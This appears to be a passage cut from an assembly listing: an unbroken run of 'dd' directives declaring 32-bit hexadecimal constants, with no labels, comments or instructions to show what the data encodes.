0DAEBAA50h, 0BF75CFABh dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h, 5CAE8499h dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h, 6F7A982h dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh, 0CC9D42F3h dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh, 0D63EE341h dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh, 3691D196h dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h, 0BCE1AB2Fh dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh, 0A46F835Dh dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h, 1375FFC0h dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h dd 1FBC4C3Ch, 0CC22D34h dd 8D185B7h, 3A7EF766h, 70106193h, 45A148BEh, 0E658A799h dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h, 7D780757h dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh, 8382B2FAh dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h, 507CF4AEh dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h, 0ADE9C8DAh dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h, 0C2DBE4EBh dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh, 37D5D85Ah dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh, 8A8AB4E9h dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h, 2AFB6DD3h dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h, 0F3D8B677h dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh, 91F5DDD7h dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh, 48D999FDh dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h, 0B0EADD74h dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah, 7BB19B6Dh dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h, 9E41E3CAh dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh, 1DE766CFh dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh, 38FB09E4h dd 990E6641h, 17E0128h, 30FD6B27h, 6415D850h, 515BEDD4h dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h, 4D428BBFh dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah, 6F43BA9h dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh, 4B5B18AFh dd 56FBEB8h, 5BDD2D69h, 772D0BB7h, 29BDFF85h, 823C52C6h dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h, 0B470F665h dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh, 0E699344Ah dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh, 0F792AE93h dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h, 8C89C399h dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h, 50AAFC26h dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h, 70878737h dd 7427C6A5h, 20545EDh, 233419F9h, 0DADD7D74h, 0AAC2C099h dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh, 0EF4DC461h dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh, 7EB8010h dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h, 549CC270h dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh, 0F9C05462h dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh, 0AD7271C5h dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh, 8B281BB5h dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h, 0CEDA1FF2h dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh, 50085EFEh dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h, 755CC814h dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h, 0C96BD6E5h dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h, 1DD574F7h dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h dd 9607D556h, 8D48B5Ch, 5B144C7Dh, 0AA0E13C4h, 913B6959h dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh dd 0CCBC0585h, 2C92DA4Dh dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h, 0BEBD6C49h dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h, 139BFC96h dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh, 958028AFh dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h, 0CFA78CBBh dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h, 1B8E09DEh dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h, 2EF154B6h dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h, 8074765h dd 995E90Dh, 576DF276h, 14E862D0h, 11473749h, 388F1F10h dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h, 4D9953BBh dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh dd 9752881h, 2E2B4CA0h, 0AF7AB2B1h, 5C54FE44h, 22D5E7B2h dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh, 0C336F78Bh dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h, 7EC93544h dd 2756665h, 35EEF38Ah, 0AA455912h, 1A5E17DEh, 0E9F042EDh dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h, 0A46EAE6Bh dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h, 0F69A335Bh dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h, 41D0A5B5h dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h, 3CCC03B4h dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h dd 1265957Dh, 6DB1283h, 4B462B28h, 0DC27C99Ah, 79F9AAE7h dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h, 0C0188357h dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h dd 3AA423Fh, 0C281412h, 3BF93235h, 0A4862BD0h, 6827F4C3h dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h, 800889B3h dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h, 285F06EAh dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh dd 5EA4047h, 9E2EFF6Ch, 6E612844h, 4E7739F6h, 36F2DB48h dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h, 4A7E5377h dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h, 3E37FE74h dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h, 4685BBC8h dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h, 0D3CD08D4h dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh, 0DDB20D4Dh dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h, 55D0C570h dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h, 0C6D26E24h dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh, 2881CE79h dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h, 927481C6h dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h dd 8CCABFA0h, 6CC919E1h dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h, 9360F6B7h dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h, 0D18ACB0Ch dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h dd 628538F7h, 5D559AFh, 8CEE57EFh, 7466112Fh, 0B44E5D08h dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh dd 28632BC3h, 7EA5394h, 4DEC9DCFh, 0DB7707A0h, 3CFE579Ah dd 0D24623F0h, 97CF61h, 0C2BDB5EAh, 0FF707D61h, 12DD12F1h dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h, 46BDE22Bh dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h, 3156D4C0h dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h, 8C6B80FEh dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h, 48D28119h dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h, 98F2E827h dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h dd 5361C6CEh, 54DC0E1h, 0D1970AB1h, 0DA7CB64Eh, 99912CF6h dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh, 0D72C3916h dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h, 576CD3B7h dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh, 0D430C5F2h dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h, 0D335161h dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh, 8FEAAC0h dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh, 0E23530EFh dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh, 0BE2EE3ABh dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h, 800A4BD8h dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h, 0FD1322F6h dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h, 4CF833C6h dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h, 0F7F889FDh dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh, 509A1D2h dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h, 0BDED288Ah dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh, 2BF66227h dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h, 28E96FEEh dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h, 0D792946Bh dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h, 34AAE4E8h dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h, 1F81F8FBh dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh, 802E0D1Eh dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh, 2400B931h dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h dd 67B4A881h, 7E6474B4h, 0F793474Fh, 